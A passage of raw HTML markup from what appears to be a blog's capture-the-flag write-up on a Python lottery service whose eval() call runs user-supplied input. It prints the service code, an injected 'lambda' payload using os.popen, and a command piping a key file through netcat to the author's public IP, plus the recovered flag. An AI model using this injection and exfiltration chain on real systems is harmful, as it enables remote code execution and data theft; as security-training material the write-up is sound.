LOTTO_GRID_SIZE):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;grid.append(random.randint(0, RAND_MAX))&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;after:&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print grid&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return grid&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def checkWinners(self, element):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winner = True&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for n in self.winners:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winner = (winner &amp;amp; (n in [ self.lotto_grid[p] for p in self.pick_list ]))&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if winner:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &#39;ZOMG You won!!!&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pass&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def playGame(self):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &#39;Thanks for your choices, calculating if you won...&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eval(self.lotto_grid[0])(self.lotto_grid[1:])&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def getLine(self, msg):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#return self.connstream_fobj.readline(MAX_READ)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print msg&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;choice = sys.stdin.readline().replace(&quot;\n&quot;,&quot;&quot;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return choice&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def handlePickChange(self):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for r in range(0, MAX_PICK_CHANGES):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;choice = self.getLine(&#39;Input the number of the pick that you wish to change or newline to stop:&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (choice.strip() == &#39;&#39;):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;idx_to_edit = int(choice)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;l = self.getLine(&#39;Input your new pick&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self.lotto_grid[self.pick_list[idx_to_edit]] = l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;def handle(self, seed):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Local port&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#rand_seed = self.request.getpeername()[1]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rand_seed = seed&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#self.connstream_fobj = self.request.makefile()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;random.seed(rand_seed)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &#39;Welcome to lottod good luck!&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self.lotto_grid = self.genGrid()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self.pick_list = list(self.pickRandom())&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self.winners = self.createWinners()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;self.lotto_grid:&quot;, self.lotto_grid&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;self.pick_list:&quot;, self.pick_list&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;self.winners:&quot;, self.winners&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &#39;Your random picks are:&#39;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for pick_idx in range(0, PICK_SIZE):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print (&#39;%d. %s&#39; % (pick_idx, self.lotto_grid[self.pick_list[pick_idx]]))&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Added by myself, called elsewhere in the original version&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self.handlePickChange()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self.playGame()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;seed = 28741&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;foo = Server()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;foo.handle(seed)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I wrote this code so that I did not need to connect to the target system so often and to understand better the code work-flow.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Looking at the source code we see that the programs binds on TCP port 10024. We also know how to get to the execution of the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;eval()&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; code, but how to exploit it?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;blockquote&gt;eval(self.lotto_grid[0])(self.lotto_grid[1:])&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Well, we have control of the first 4 or 5 elements of the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;self.lotto_grid&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; list - they are asked once the program gets executed. Let&#39;s say we put as the first element &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;os.popen&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; and as second element &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; (or any other OS command) this would get executed.. if &lt;a href=&quot;http://docs.python.org/library/os.html&quot;&gt;os&lt;/a&gt; library was one of the imports of the program and if &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;self.lotto_grid&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; had only two elements.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;We then had to find:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;A Python one-liner to &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;import os&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; (or any other useful library) to execute OS command(s).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Ignore all list elements from the third on - &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;self.lotto_grid[1:]&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Together with another team mate (thanks jekil!) we found the following way to exploit it:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;blockquote&gt;lambda x: __import__(&quot;os&quot;).popen(&quot;id&quot;)&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;As the program itself does not show any useful output, I could not have seen any output of the execution of the injected OS command(s). I then binded netcat listening on my box on my public IP interface:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;blockquote&gt;nc -l -p 44444 -s PUBLIC_IP -v&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;At this point I used ncat to connect to the target system setting &lt;b&gt;28741&lt;/b&gt; as source port:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;ncat -p 28741 pwn8.ddtek.biz 10024&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I was prompted with the expected message, typed into &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; to change the first peak (&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;self.lotto_grid[0]&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;). I typed into the following string:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lambda x: __import__(&quot;os&quot;).popen(&quot;cat /usr/home/lottod/key | nc PUBLIC_IP 44444&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;And &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;RETURN&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; to end edits. At this point the execution flow hits the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;eval()&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; which translate in the code as:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;eval(&#39;lambda x: __import__(&quot;os&quot;).popen(&quot;cat /usr/home/lottod/key | nc PUBLIC_IP 44444&quot;)&#39;)([&#39;list&#39;, &#39;of&#39;, &#39;ignored&#39;, &#39;elements&#39;])&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Pwned!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I have got the magic key in front of me on my terminal running netcat.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;The key is &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;holdem is a safer bet than lotto&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  